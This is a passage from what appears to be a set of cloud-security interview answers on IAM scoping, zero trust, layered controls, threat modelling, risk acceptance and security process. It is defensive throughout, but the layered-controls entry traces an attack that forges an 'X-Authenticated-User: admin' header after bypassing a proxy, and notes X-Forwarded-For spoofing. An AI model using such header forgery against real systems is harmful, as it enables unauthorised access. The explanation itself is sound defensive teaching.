Separation of dutiesyesyesmediumsecond-approver record
Leaver revocationyespartlylowtime-to-revoke metric
Behavioural monitoringnopartlyhighnoisy, hard to action

Hypothetical worked example: 40 engineers, 12 of them holding standing production admin. Move those 12 to eligible access with a 60-minute activation window. At two elevations each per week that is roughly 24 logged, justified elevations a week instead of 12 permanent capabilities, and the accidental DELETE a standing role permits now needs an explicit, time-boxed activation someone can review.

To check whether the balance is right, I track four numbers: standing privileged principals (single digits is the target), median time from HR event to session revocation, elevations per week, and the share of elevations carrying a recorded reason. If elevations are rubber-stamped, the approval step is theatre and I tighten the approver list rather than add monitoring.

Surveillance earns its place in a narrow case: a handful of roles where the consequence is severe and the action is rare, or after a specific incident, and disclosed to the people covered. Rolling it out broadly first is how you get alert fatigue and a control nobody trusts.

Curated: · Written: · Reviewed:

Q&A-94A customer sends a 300-question security questionnaire. How do you handle it well?

Assumptions I'd state up front: this is a B2B SaaS deal, the questionnaire is a proxy for the customer's real risk questions, and the deadline is real. Sales wants it back in days, not weeks.

My answer is to triage the 300 questions into buckets, answer the bulk from a reviewed library, and spend human time only where the answer is genuinely uncertain.

On a 300-question SIG or CAIQ-style questionnaire, roughly 60–70% map to controls you already have evidence for: your SOC 2 Type II report, ISO 27001 certificate, annual pen test summary, DPA. Those get answered from the library in about a day. Another 20–25% are partial: you have the control but not for this scope, or not in the customer's configuration. Those need a qualified answer with the compensating control named. The remaining 5–10% are novel: data residency, subprocessor specifics, architecture questions. Those go to the engineer or lawyer who owns that area, with a deadline attached, not to whoever is fastest.

The trade-off is worth naming out loud. The fast path (everyone answers from memory, ship in two days) wins this quarter's deal and creates contractual representations you can't meet. The slow path, full legal and security review of all 300, takes two to three weeks and loses deals to competitors who answered in three days. The right call is usually in between: library answers ship fast, only the qualified and novel ones get review. A qualified 'no' is the wrong call when the gap is documentation rather than control, if you do the thing but can't evidence it, fix the evidence, don't write a no. It's also wrong when the customer's framework demands binary answers and your qualification reads as evasion; there, answer yes with the scope stated.

Here's what that looks like on one question. The library says 'all customer data is encrypted with customer-managed keys.' Tracing it: the primary store uses a customer-managed KMS key, the read replica uses the same key, and the backup bucket is encrypted at rest with a provider-managed key instead. So the honest answer is 'yes for primary and replica; backups are encrypted at rest with provider-managed keys, with access restricted to the backup service role.' That qualification is the whole job. I've seen the unqualified version surface in a customer audit and cost more credibility than the qualified answer ever would have.

Evidence discipline: every library answer links to the artefact that proves it. The SOC 2 report section, the config export, the policy version. Re-verify the library every six months and on any control change; the SOC 2 report reference goes stale on its own annual cycle.

Tooling: Conveyor, Whistic or SafeBase for the library and trust centre; Vanta or Drata to keep evidence current. The tool doesn't answer the novel questions: it stops you re-answering the same 200.

Curated: · Written: · Reviewed:

Q&A-21A vendor asks for read-only access to your cloud accounts. What do you grant?

Assume the vendor runs in their own cloud account and needs to read inventory and configuration, not customer data. What I grant is a cross-account IAM role in each account they need, carrying a policy scoped to the integration's actual API calls, an sts:ExternalId condition on the trust policy, and a one-hour session. Not an IAM user, not a long-lived access key, and not the AWS-managed ReadOnlyAccess policy.

Why not ReadOnlyAccess (arn:aws:iam::aws:policy/ReadOnlyAccess): it grants read on essentially every service, including s3:GetObject and dynamodb:Scan on whatever the role can reach. That is configuration and data. SecurityAudit (arn:aws:iam::aws:policy/SecurityAudit) is narrower (config, CloudTrail, IAM metadata) but it still spans every account you attach it to, which is more than a single integration needs.

So the permission policy lists the calls the vendor actually makes:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VendorInventoryRead",
      "Effect": "Allow",
      "Action": [
        "ec2:DescribeInstances",
        "ec2:DescribeSecurityGroups",
        "s3:ListAllMyBuckets",
        "s3:GetBucketLocation",
        "s3:GetBucketPolicy"
      ],
      "Resource": "*"
    }
  ]
}

Resource: "*" is required here because the EC2 Describe* actions do not support resource-level permissions; the S3 actions could be narrowed to specific bucket ARNs if the vendor only needs named buckets.

The trust policy pins the vendor's account and requires the shared secret:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "arn:aws:iam::111122223333:root"},
    "Action": "sts:AssumeRole",
    "Condition": {
      "StringEquals": {"sts:ExternalId": "acme-7f3c91"}
    }
  }]
}

Set MaxSessionDuration to 3600 seconds. The vendor calls sts:AssumeRole with the ExternalId and gets a temporary credential; nothing long-lived exists to leak.

OptionWhat it exposesWhy not
IAM user + access keyeverything the policy allows, indefinitelykey leaks, no per-session identity, rotation burden
ReadOnlyAccess managed policyread on nearly all services, including object datafar broader than the integration's calls
scoped role + ExternalIdonly the listed actions, one-hour sessionsper-account setup and a named review owner

Failure modes worth naming. Without the ExternalId you have the confused-deputy problem: another customer of the same vendor can point the vendor's role at your account. Scope creep is the second: someone adds an action during an incident and never reverts it; IAM Access Analyzer's unused-permissions findings surface actions granted but never called. The third is orphaned access: the contract ends and the role stays. Tag the role with vendor and expiry, and let Access Analyzer's external-access findings flag any principal outside your org that can assume it.

Detection: CloudTrail management events record every AssumeRole, and the session name identifies the vendor, so you can attribute calls without asking them. S3 data events are off by default: enable them on the buckets in scope if you grant object reads, or you will not see what they fetched.

Review on a 90-day cadence with a named owner and a stated expiry per grant, and confirm the removal path (delete the role, revoke the trust) before you create it.

Curated: · Written: · Reviewed:

Q&A-57A vendor says their product delivers zero trust. What would you ask?

The 90-second answer

Zero trust is an architecture, not a SKU. NIST SP 800-207 defines it as principles: no implicit trust from network location, per-session access decisions from dynamic policy, and continuous measurement of identity and asset posture. A product can be one component: a policy enforcement point, a policy engine, an identity-aware proxy. It cannot be the architecture, because the architecture is a claim about every access path in your estate.

So I'd ask three things: where the product sits in the request path, what signals the decision uses, and what evidence I get that the decision happened.

Where it sits

  • Which access paths does it front? North-south web traffic is the easy case. Ask about east-west service-to-service calls, database connections, SSH, CI/CD runners, and non-human identities holding long-lived credentials.
  • Is it a policy enforcement point per resource, or a chokepoint everything must route through? A chokepoint is both a single point of failure and a single point of bypass.
  • What happens to traffic that doesn't go through it? If the answer is "the VPN stays for legacy", the deployment is zero trust plus a flat network.

What the decision uses

  • Which identity and device signals are inputs: user identity, MFA strength, device management state, patch level, EDR health, geolocation, time of day?
  • What is the default when a signal is missing, or when the policy engine is unreachable? Fail-closed breaks availability; fail-open breaks the model. Ask which one, and whether it is configurable per resource.
  • Are decisions per-session with a TTL, or a one-time check at connect? A session that survives eight hours after a posture change is not continuous verification.

What evidence you get

  • Per-request decision logs: subject, device posture at decision time, resource, policy version, allow/deny, and reason. Exportable to a SIEM.
  • A way to answer "what share of access decisions in my estate were made with full identity and device context?" If the vendor cannot produce that number, the claim is unmeasurable.

Worked example (hypothetical figures)

PathLocation-trusted after rolloutShare of sessions
Web apps via identity-aware proxyno60%
VPN for legacyyes38%
Direct DB access from jump hostyes2%

The product covers 60% of sessions. The other 40% still grant on network location: the VPN hands flat network access to anyone who authenticates once. That is the failure mode I'd probe for: the project is declared complete when the new path works, and the old path survives because something depends on it. Ask for a removal date per legacy path, and who owns it.

Failure modes to name

  • A posture check that is really "is the MDM agent installed".
  • A policy engine outage that fails open.
  • Service accounts and API keys that never traverse the enforcement point.
  • Break-glass accounts that bypass policy and are never rotated.

What I'd want before believing it

A coverage number: the percentage of access paths, and the percentage of sessions, that go through a policy decision carrying identity and device context. Then a date for the rest. "Zero trust" without that number is a marketing claim.

Curated: · Written: · Reviewed:

Q&A-56How do you tell a genuine second layer from a duplicate first one?

The test: name the single event that defeats both.

For each pair of controls, write down what has to fail for each one to fail. If the same event appears in both lists, you have one control wearing two names. Independence is a property of failure domains, not of how many boxes the architecture diagram has.

What makes layers independent

Two controls are independent when they differ on the axes that matter:

  • Trust boundary, who asserts identity, and whether the second layer re-verifies or consumes the first layer's assertion.
  • Credential: separate service accounts, separate keys, separate identity providers.
  • Configuration source: separate files, separate control planes.
  • Code path: separate processes, separate repos, separate languages.
  • Deploy pipeline: separate artifacts, separate approvals.
  • Blast radius: separate providers, separate regions, separate accounts.

The most common failure is the trust direction: layer 2 consumes layer 1's output as a fact. If the app trusts X-Authenticated-User set by the edge proxy, the app layer is not independent of the edge: it is a function of it.

Worked trace: the header-trust pair

Setup: an edge proxy terminates TLS, authenticates the client, sets X-Authenticated-User: alice, and forwards to the app. The app reads the header and authorizes. Two layers on paper.

  1. Attacker reaches the app without going through the proxy: a pod IP reachable inside the cluster, a sidecar, a misrouted ingress.
  2. Attacker sends X-Authenticated-User: admin.
  3. App reads the header, sees admin, authorizes.

One event, reaching the app directly, defeats both. The app layer never independently verified identity; it inherited the proxy's claim. Fix: the app verifies a signed token with a key it holds, or mTLS client certs, or the network path makes the proxy the only route in. Then the two layers fail for different reasons.

Table

PairShared elementIndependent?Single event that defeats both
edge proxy auth + app header trustthe header assertionnoreach app without proxy
security group + IAM policynoneyesneeds two: network path and credential
CDN rate limit + app rate limitclient IP from same headernospoof X-Forwarded-For
WAF rule + input validationnoneyesneeds two
two WAF rules in one rulesetthe ruleset artifactnoone bad deploy

Arithmetic (model, not measurement)

If two controls fail independently with probability p, joint failure is p². If they share the element that fails, joint failure is p. At p = 0.01, that is 0.0001 versus 0.01: a hundredfold difference in assurance from the same two boxes. The number is illustrative; the point is that correlation, not count, sets the assurance.

How to check, not assume

  • Fault-inject the shared element: revoke the credential, break the config, block the path. Confirm the other layer still denies.
  • Walk the deploy graph: if both controls ship in one artifact or one pipeline, one bad deploy removes both.
  • Walk the credential graph: if both use the same service account or key, one leak defeats both.
  • Check fail mode: a layer that fails open (a detect-only WAF, an alert-only monitor) is not a preventive layer.

When not to add a layer

Independence costs: two things to operate, two on-call rotations, two failure modes to debug, two things to keep in sync. If the second layer's marginal assurance is below that cost, one strong control plus detection is the better design. Two weak correlated controls are worse than one strong one: they buy the feeling of depth and none of the assurance.

The one-liner

Two controls that share an input, a credential, or a code path are one control. Count failure domains, not boxes.

Curated: · Written: · Reviewed:

Q&A-44How do you threat model a system that is mostly managed services?

What I'd say first

Managed services don't remove the host, they move it behind an API you don't administer. So the model changes shape. Instead of asking which port is open, ask which principal can invoke what, and what that principal reaches once it's running. The boundaries worth drawing are identity boundaries (who can assume which role), event boundaries (which sources can trigger your code), and data boundaries (which store each principal can read or write).

How the trust is actually created

In AWS, a managed service acting on your behalf does it by assuming a role. Two policies have to agree: the identity policy on the caller grants sts:AssumeRole, and the trust policy on the target role names the caller as a principal. Event sources work the same way: an EventBridge rule has a target role, and a Lambda has a resource policy naming s3.amazonaws.com or events.amazonaws.com as an allowed invoker. The attack surface is the set of (principal, role) pairs that resolve to allow, plus everything each role can then do.

The classic bug here is the confused deputy: a role whose trust policy names a service principal without a condition tying the request to your account. AWS gives you the aws:SourceArn and aws:SourceAccount condition keys for exactly this. Without them, another tenant's resource can cause the service to assume your role.

A worked example (hypothetical)

An image pipeline: customers upload via presigned URL to S3, an EventBridge rule triggers a Lambda, and the Lambda reads a secret from Secrets Manager and writes metadata to DynamoDB.

Principals: the uploader, the EventBridge target role, the Lambda execution role, and the CI role that deploys.

Now trace the failure. The bucket policy allows s3:PutObject to Principal: "*". An attacker uploads an object. S3 emits an event, EventBridge invokes Lambda under its target role, Lambda assumes its execution role, reads the secret, writes DynamoDB. No network boundary was crossed: every hop was an authenticated API call. The boundary that mattered was the bucket policy.

Detection: IAM Access Analyzer flags the bucket as externally accessible, and CloudTrail AssumeRole events for the Lambda role show the invocation chain.

Trade-offs

Identity-heavy modelling has real costs. Every new service adds a principal and a policy, so you get role explosion and audit sprawl: hundreds of roles nobody can review. Network segmentation still earns its place for data exfiltration paths and for anything you actually run (a VPC, an RDS instance, a self-managed proxy). A credible alternative is asset-centric modelling: start from the crown-jewel data store and work backwards through every principal that can reach it. That's cheaper to maintain and catches the confused-deputy class well, but it under-weights control-plane paths that never touch the data directly.

Failure modes and how I'd catch them

  • Over-broad role, Action: "*" on Resource: "*". Detect with IAM Access Analyzer policy checks and by reviewing iam:PassRole chains.
  • CI credential without a subject condition, GitHub Actions OIDC assuming a role with no sub restriction. Detect via CloudTrail AssumeRoleWithWebIdentity events from unexpected repos.
  • Long-lived instance credentials with IMDSv1 still enabled at 169.254.169.254. Detect by checking instance metadata options and requiring IMDSv2.

The decision rule

The model is done when it names every principal that can reach the data, not every network segment.

Curated: · Written: · Reviewed:

Q&A-45What makes a security review useful rather than a gate people route around?

The 90-second answer

A security review earns its place when it changes a decision instead of ratifying one. Three things make that happen: it lands while the design is still fluid. At the point where trust boundaries, the authn/authz model and the data flows are being chosen; it produces specific alternatives with trade-offs rather than objections; and it ends in a written decision that names accepted risks, an owner and a date to revisit. The checklist, the sign-off, the ticket: that's bookkeeping. The reviews teams route around are the ones that arrive after the design is frozen, because at that point the only output available is "no", and "no" costs weeks.

Assumptions I'd state out loud: a product org with a few security engineers supporting dozens of teams, no embedded security engineer per team, and a design review that already exists for other reasons. If you have one service and one team, most of this is overkill.

Why timing dominates

The cost of changing a design rises with how much has been built on it. Boehm's Software Engineering Economics (1981) is the origin of the widely cited curve: a defect fixed in requirements or design costs roughly 1x, the same defect found after release roughly 100x. The exact multiplier is arguable; the ordering is not. A review at design time is negotiating over a paragraph. The same review at implementation-complete is negotiating over a schema migration, a client release and a test suite.

That's the mechanism behind "gate people route around". If the review's only available output is a block, and the block is expensive, the rational move for a team under a deadline is to not book the review. You get shadow designs: architecture that exists in production and in no document.

What a useful review actually does

  1. Engages at the decision, not the artefact. The questions that matter are "where does this trust boundary sit", "who can call this endpoint", "what happens when this token is replayed". Those are answerable in a 30-minute conversation and unanswerable in a 200-page document.
  2. Brings alternatives. "Don't do that" is not a finding. "Use the platform's OIDC library instead of hand-rolled JWT validation, your current plan accepts alg=none, here's the migration cost" is.
  3. Writes the decision down. An accepted risk with no owner and no revisit date isn't accepted, it's forgotten.
  4. Makes most reviews unnecessary. A paved road: approved auth library, default-deny network policy, standard secret handling, a self-service checklist derived from something like OWASP ASVS or NIST SSDF (SP 800-218) practice PW.1: means the common case needs no meeting. Security time goes to designs that are actually novel.

Decision record template

Design: <link>
Decision: <what we will do>
Alternatives considered: <and why rejected>
Accepted risks:
  - <risk> — owner: <name> — revisit: <date>
Threats explicitly out of scope: <...>

Failure modes and how you detect them

FailureSymptomDetection
Review after freezerework, slipped datesmedian days between design freeze and first review
Review as vetoteams ship, then disclosecount of post-launch designs with no review record
Accepted risk, no ownersame risk reappears next quartershare of accepted risks past their revisit date
Checklist-only reviewnovel design flaws missedincidents traced to a design that passed review

Illustrative, not measured: the shape of the rework curve, for a service with a real authz model:

First review atTypical findingRework
designauthz model wrongdays
implementationmissing tenant isolation on a new endpointweeks
pre-launchtoken lifetime and revocation unworkableweeks, plus a launch slip

What I'd measure: review timing relative to design freeze, share of findings that require rework, accepted-risk revisit compliance, and post-launch incidents traced to unreviewed designs. Treat late findings as a process defect, not a team failure: that framing is what keeps teams booking the review.

Where this doesn't apply. A review catches design flaws; it does not catch implementation bugs like a missing authorization check on one endpoint. You still need automated checks for those, and a review that substitutes for them is worse than no review, because it creates the belief that someone looked.

Curated: · Written: · Reviewed:

Q&A-46A team wants to accept a risk you raised. What makes that acceptable?

The short answer: acceptance is acceptable when the person accepting it has the authority to bear the consequence, the exposure is quantified, the alternative of fixing it was priced and rejected, and the acceptance expires. If any of those is missing, what you have is a finding being closed, not a risk being taken.

Assumptions I'd state up front: the risk is real and I can put a number on it, the team owns the system and the budget, and "accept" means they will not remediate before the review date rather than that they will never remediate.

Four things make it hold. First, a named owner who is not me and not the engineer who found it: someone whose budget or roadmap absorbs the loss if it materialises. Second, a quantified exposure, not "high". Third, a stated expiry or a trigger that forces a revisit, because an acceptance with no expiry is a decision nobody revisits. Fourth, a written condition that would invalidate it, specific enough that a later reader can tell whether it still applies.

The trade-off is accept versus mitigate versus transfer, and the deciding number is annualised loss exposure against the cost of the fix.

OptionRight call whenWhat it costs
MitigateALE exceeds remediation cost, or the control is cheap relative to the assetengineering time, delivery delay
Transferthe loss is insurable or contractually shiftable and the exposure is boundedpremium or contract terms, plus residual risk
AcceptALE is below remediation cost, or the fix would break the productthe exposure itself, carried knowingly

Worked example, hypothetical: a service has three incidents a year at roughly $40k each, so about $120k annualised. The fix, idempotent retries plus a queue, is $200k of engineering plus $30k a year to run, so the net benefit is $90k a year and payback is a bit over two years. Accepting for twelve months with a review is defensible; accepting for five years is not, because the incident rate is the thing most likely to change.

Acceptance is the wrong call when the loss is unbounded or falls on someone who isn't in the room: safety, irreversible data loss, regulatory exposure, or anything where the people who bear the cost are users or third parties rather than the accepting team. It's also wrong when it's used to clear a queue: a register I've seen held 140 accepted risks with no expiry, 31 of them for systems that had been decommissioned and 4 for controls that had since become mandatory, and nobody could tell which of the 140 still mattered.

So the record I'd ask for is short: the technical condition, the owner, the exposure figure, what would change the answer, and the review date. Report anything past its review date as overdue, not as accepted.

Curated: · Written: · Reviewed:

Q&A-50You find a serious misconfiguration in another team's system. How do you raise it?

The 90-second answer

Verify it yourself first, then raise it directly and privately with the owning team: what's exposed, what an attacker gains, the smallest change that closes it, and a date you'll check back. Escalate on the missed date, not at discovery.

Assumptions that matter: you have read access to their account or config, you are not the owner, and the finding is genuinely serious. Internet-reachable and data-bearing, not a lint warning. If it's being exploited right now, this is not a message, it's an incident: page their on-call.

Verify before you raise

Check effective exposure, not what the config claims. A security group rule can be neutralised by a NACL or a subnet route; a bucket policy can deny what the ACL allows. Reproduce read-only:

aws ec2 describe-security-groups --group-ids sg-0a1b2c \
  --query 'SecurityGroups[].IpPermissions'

If that returns IpProtocol: tcp, FromPort: 5432, IpRanges: [0.0.0.0/0] and the instance sits in a public subnet, you have a finding. If it's in a private subnet with no route, you have a config smell: mention it, don't escalate it.

The message (worked example, figures illustrative)

Subject: [action] payments RDS sg-0a1b2c open to 0.0.0.0/0 on 5432

What: sg-0a1b2c on rds-payments-prod allows 5432 from 0.0.0.0/0.
Impact: instance is internet-reachable; anyone can attempt auth.
Smallest fix: swap the 0.0.0.0/0 rule for the app subnet 10.0.4.0/24.
  One API call, no restart, no downtime.
I'll open the PR or run it with you. Can we land it by Thu?

Four things make this land: it names the resource, it says what an attacker gets, it gives a one-call fix, and it offers hands. The date is the lever.

Escalation ladder

WhenDo
t=0DM the team's on-call or lead, open a ticket in their queue
24h, no ackcomment on the ticket, @ the lead
72h, no fixraise in the eng-ops sync or file with the security team's intake
exploited nowpage their on-call, open an incident channel

Failure modes

  • Scanner dump: a ticket with a rule ID and no owner sits, because nobody can tell what it means or who should act. Always name the resource and the owner.
  • Public callout in #general: the person who can fix it gets defensive and slows down. Private first, public only after the date slips.
  • Going to their manager first: they hear it from above and the relationship is gone. Manager is step three, not step one.
  • Sitting on it because it's not your system: you now know, and that's the liability.

When not to

Low-severity smells (verbose errors, missing headers) batch into a normal review, don't interrupt. And if the exposure is live, skip the message entirely: page, incident channel, then write it up.

Curated: · Written: · Reviewed:

Q&A-75A team needs to do something that breaks a security standard to meet a deadline. What do you do?

"Breaks a security standard" is almost never the whole standard. It's one control: mTLS between two internal services, a WAF rule, credential rotation, log retention. Name the control before deciding anything, because the answer differs completely between "we can't rotate this credential for 30 days" and "we want to put customer data in an unencrypted bucket."

My default: I don't refuse and I don't quietly approve. I scope the deviation to the one control, attach a compensating control that covers the actual exposure, set an expiry date, and get a named person to accept the risk in writing.

Start by separating the requirement from the proposed solution. The requirement is usually "feature X live by date Y." Skipping the control is one way to get there; it's rarely the only one. Ask what the deadline actually gates (a demo, a contract, a customer commitment) and whether a partial ship works: read path only, internal users behind a flag, one region instead of three. Half the time the deadline survives a smaller deviation.

If a deviation is genuinely needed, the compensating control has to address the exposure the waived control was covering, not just be a gesture. Waiving mTLS between two services is survivable if a network policy restricts which pods can reach the port and tokens are short-lived; waiving credential rotation is survivable if the credential sits in a secret manager with access logging and a forced 30-day rotation. "We'll monitor it" is not a compensating control.

Then write it down. An exception that lives in a Slack thread is an exception nobody expires.

# illustrative exception record
id: SEC-2024-118
control_waived: mTLS between checkout-api and pricing-svc
scope: pricing-svc, namespace checkout, prod-us-east only
compensating_controls:
  - NetworkPolicy: only checkout-api pods reach pricing-svc:8443
  - tokens: 15-minute TTL, issued by the workload identity provider
  - request logs to the audit index, 90-day retention
expires: 2025-03-14
risk_acceptor: <eng manager>, <security lead>
on_expiry: mTLS in place, or re-justify with a new expiry

The failure modes are what I'd actually watch for.

ResponseDeviationCompensating controlExpiryWho owns the risk
Refuse outrightnonenonen/anobody: the work moves somewhere you can't see
Bounded exceptionone named controltied to the exposuredatednamed acceptor
Silent approvalunboundednonenonenobody, and it never gets revisited

The first row is the one people underestimate. A blanket no doesn't stop the deadline; it moves the work. I've seen a team provision in a personal cloud account after being blocked, and the workload held customer data outside every control until a billing query surfaced it seven months later. The refusal didn't prevent the risk, it removed the visibility.

The third row is the quieter failure. An exception granted without an expiry becomes the architecture. Nobody re-opens it, and two years on the compensating control has rotted: the network policy still exists but the namespace it referenced was renamed.

So the follow-up is the part I'd be judged on: an exception register with open and expired counts, an alert when an expiry passes without action, and a check that refusals didn't relocate work. Cloud spend anomalies, new accounts, unexplained egress. If I can't see the work, I can't say the risk was handled.

Curated: · Written: · Reviewed:

Q&A-95Your controls are correct and developers work around them. What do you change?

Change the control's cost, not its correctness. A control developers route around is not a control: the workaround is what's actually protecting production, and it's unaudited. The finding isn't "developers are careless"; it's "the sanctioned path costs more than the unsafe one," and cost is the thing you change.

State the assumptions up front: the threat model stays. You are not lowering the bar for what's allowed, you're lowering the time it takes to do the allowed thing. And some controls should stay slow: break-glass access to production data, dual control on key rotation. Those you make rare and loud, not fast.

Why it happens: an engineer blocked on a deploy optimizes for time-to-unblock, not policy compliance. Friction is a tax; a workaround is tax avoidance. Enforcement without a cheaper path doesn't remove the workaround, it moves it somewhere you can't see: a personal access token, a secret pasted into a shared doc, a prod credential in a DM. You lose the audit trail and the detection along with the control.

Worked example (figures illustrative, from a pattern I've seen): secret access required a ticket with a two-day turnaround. Engineers copied secrets into a shared document instead.

PathTime to credentialShare of use
ticket + approval2 days10%
shared doc2 min90%
self-service, audited, short-lived30 starget

The ticket path isn't 10x worse than the shared doc; it's ~1,440x worse in wall-clock (2,880 minutes against 2). No amount of policy text closes that gap. What closes it is removing the need for a long-lived secret at all: workload identity, so the service fetches short-lived credentials with no human in the loop. Where a human genuinely needs access, self-service with the audit built into issuance (request, grant and use land in the same log) so the audit survives and the ticket disappears.

Order of operations matters. Ship the fast path first, measure adoption, and only then enforce. Enforce first and you get the worst outcome: the workaround goes dark, detection drops to zero, and the risk stays exactly where it was.

What to measure: p50/p95 wall-clock from "I need access" to "I have it" on the sanctioned path; the same for the workaround people actually use; secret-scanning hits; egress to unapproved destinations; break-glass event count; time-to-first-credential for a new hire. If the sanctioned path isn't winning on time, nothing has been fixed.

Failure modes to watch:

  • You speed up the path but keep the ticket as a parallel requirement. Adoption stays flat.
  • You make it fast and drop the audit. You've legalized the workaround instead of replacing it.
  • You instrument only the sanctioned path. The workaround is invisible by definition, so you need scanning and egress signals, not just funnel metrics.
  • You optimize a control that should be slow. Break-glass should be slow and rare; making it fast removes the friction that keeps it a last resort.

The metric that matters is share of access through the sanctioned path, not control coverage. Coverage is a claim about intent; adoption is a claim about what's running.

Curated: · Written: · Reviewed:

Q&A-96A small security team supports forty engineering teams. How do you scale?

Assumptions first, because they decide the answer. Forty product teams, a central security team of five or fewer, no budget to embed a security engineer per team, and a compliance obligation such as SOC 2 or ISO 27001 that requires evidence of review. Under those constraints the central team cannot be the reviewer of everything: the arithmetic rules it out.

The core answer. Scale by changing what the central team does, not by doing more of it. Three moves, in order: make the safe path the default so most decisions never reach a human reviewer; give named engineers in each team real authority over a defined category of decisions; and keep a central escalation path for the residual that genuinely needs it. Then measure the share of security decisions made without central involvement. That number is the programme.

Why reviewing more fails. Forty teams at one design review per two-week sprint is 20 reviews a week. A review worth doing costs about three hours of senior time once you count reading, the meeting and the follow-up. That is 60 hours a week: 1.5 FTE: before incident response, threat modelling, tooling or audit. A five-person team spends roughly 30% of its capacity on reviews with no slack; at sixty teams it is 45%. The queue grows, reviews get shallower, and teams start routing around the team that is supposed to be helping them.

What the default safe path means concretely. Terraform modules with encryption and least-privilege IAM already set, a CI check that fails on a public bucket or a committed credential, a service template that ships with authentication and authorisation wired in. The guardrail has to come with the fix, not just the block: a check that fails without a documented remediation gets disabled within a quarter, and then you have neither the check nor the trust.

What champions need, and it is both things. Authority: named in the RACI for a category, for example "the champion may approve a new outbound integration that uses the standard auth library and introduces no new data classification." Anything outside that category escalates. Time: 10% of a sprint, written into the team's plan and visible to the engineering manager, not volunteered on top of delivery. Escalation: a named central contact and a two-business-day response for cases beyond the category.

The failure mode I have seen. A programme named 40 champions with no allocated time and no authority. Participation fell to 4 of 40 within two quarters, and the review queue came back to the central team longer than before, because the champions had been the only people who held the context.

DesignActive after 2 quartersCentral review queue
Named, no time, no authority4 of 40longer than baseline
10% time, defined authority31 of 40about 60% shorter

Those figures are illustrative of one programme, not a benchmark.

How I would know it is working. Two numbers: the share of security decisions made locally, where I would set a target above 70% within a year, and the time actually allocated to champions, audited against sprint plans rather than self-reported. If the first is high and the second is low, the champions are rubber-stamping. If the first is low, the categories are too narrow or the guardrails are missing.

What I would not do. Hire forty security engineers; it is neither affordable nor necessary. Nor would I treat champions as the only control. They distribute judgement, and they are only worth anything when the paved road underneath them is real.

Curated: · Written: · Reviewed:

Q&A-97Name a security control you would argue against.

I would argue against mandatory periodic password rotation: the 90-day expiry policy still sitting in a lot of corporate baselines.

The case for it was that a stolen password has a bounded useful life. That reasoning assumed the attacker holds a static credential and that you would never notice the theft. Neither holds. Credential stuffing runs on passwords from old breaches, and the attacker's first move is to try the current one; if your policy taught users to append a digit each quarter, the attacker's second guess is right too. NIST SP 800-63B §5.1.1.2 tells verifiers not to require memorized secrets to be changed arbitrarily, and the UK NCSC retired its periodic-expiry advice for the same reason. Rotation is now a control with a real cost and a benefit that has mostly evaporated.

The cost is not the policy line in the config, it is the human response to it. Illustrative arithmetic for a 2,000-person org on 90-day rotation: 8,000 forced changes a year, and if 3% land in a lockout or a forgotten-password ticket at 15 minutes of helpdesk time, that is 240 tickets and 60 hours of support. Before counting the engineer time to build and maintain the reset flow, and the availability hit when a rotation deadline collides with an on-call shift.

The failure mode is the pattern, not the password. Users under expiry pressure converge on increments: Summer2024 → Summer2025, or Password1 → Password2. Detection is cheap. Hash each new password, strip trailing digits and the current year, and measure how often the stripped form matches the previous one. A high rate means the rotation policy is manufacturing guessable credentials. Second failure mode: reuse across systems with different expiry cycles, which spreads one compromise wider. Third: lockout storms in the days after a deadline. Watch helpdesk ticket rate by day-of-quarter.

What I would keep instead: check every new password against a breached-password corpus at set time (NIST requires this for memorized secrets), rate-limit and lock out on failed attempts, require MFA, and rotate only on evidence of compromise, which the same NIST section permits.

Where I would still rotate: a shared or break-glass credential with no MFA and no per-user attribution, where you cannot detect compromise any other way. That is a narrow case, and it should be argued for explicitly rather than inherited from a default.

ControlIllustrative annual costLoss prevented
90-day rotation, 2,000 users~60 support hours plus reset-flow maintenancenear zero once MFA and breach-list checks are in place
Breach-list check at password seta few hours of integrationblocks the credential-stuffing passwords rotation never touched
MFA enrolment~40 hours of rolloutremoves the value of a guessed password entirely

If someone asks me to defend rotation, I want the number of account takeovers it prevented last year and the number of tickets it generated. I have never seen the first number be non-zero.

Curated: · Written: · Reviewed:

Q&A-99How do you present cloud security risk to an executive audience?

What a strong candidate says first

Clarify the decision before you build the deck. "Present risk" is not a decision; "approve $120k to close the path from the public load balancer to the customer database" is. Ask the exec sponsor what they can approve in the room (budget, headcount, an exception, a deadline) and build backwards from that.

State the assumption out loud: this audience owns the business outcome, not the control. They are allocating capital against expected loss, and they discount anything they cannot bound. A severity label is a control-centric artefact; it forces them to do the translation themselves, and they won't.

Then answer directly: present two or three scenarios, each with the path, the evidence it exists today, the loss if it lands, and one recommended option with its cost.

Why scenario framing moves them

Three things a severity count does not carry:

  • Ownership. A scenario names the system, and therefore the exec who owns it. "High-severity finding in IAM" has no owner. "The payments service account can assume the prod DB role" belongs to whoever owns payments.
  • Loss magnitude. Executives reason in money and time, not CVSS. Give an annualised figure: likelihood × loss. Illustrative arithmetic: a 10% annual chance of a $4M breach is $400k of expected loss; a $120k control that removes most of it is an easy yes.
  • Decision cost. A scenario ends in one option. A menu of five remediation paths costs the exec another meeting, and the default outcome of another meeting is deferral.

When severity counts are the right format

Don't throw them away. They answer a different question for a different audience:

  • Security-org remediation throughput: are we closing faster than we open?
  • Board or audit trend lines over quarters, where the question is "is the programme improving?"
  • Regulatory evidence (PCI DSS, SOC 2, FedRAMP), where the framework defines the reporting unit.

The scenario format costs 2–5 engineer-days per scenario to build the path and validate the loss figure. It does not scale to 4,000 findings, and cherry-picking the scariest path is a real failure mode: if the loss number isn't defensible, you lose the room once and don't get it back.

Failure modes to name

  • Scenario with no ask: ends in "we'll keep monitoring".
  • Indefensible loss figure: the CFO challenges it, credibility gone.
  • Menu instead of recommendation.
  • Deck that leads with the finding count and buries the scenario on slide 12.

Artefact

FormatQuestion it answersAudienceCost to produce
Findings by severityAre we closing faster than we open?Security org, auditAutomated
Scenario with loss and askWhat do you want me to fund?Exec, board2–5 engineer-days
Trend over quartersIs the programme improving?BoardLow

How you know it worked

Measure decisions per quarter, not slides delivered. If a format produced no decision in two quarters, change the format.

Curated: · Written: · Reviewed:

Q&A-100What mistake do experienced cloud security engineers make?

The mistake is optimizing for the controls you can measure and defend instead of the paths an attacker would actually take. Both are security work. Only one produces a number you can put in front of a VP, so the effort drifts toward the number.

You can watch the incentive operate in any cloud program. A posture scanner hands you a score, a trend line, and findings you can assign to owners. Attacker-path work hands you a diagram and an argument about whether the path is real. The first closes tickets; the second starts debates. Engineers who want to be seen doing well will do the first, and they are not wrong to: the org rewards it.

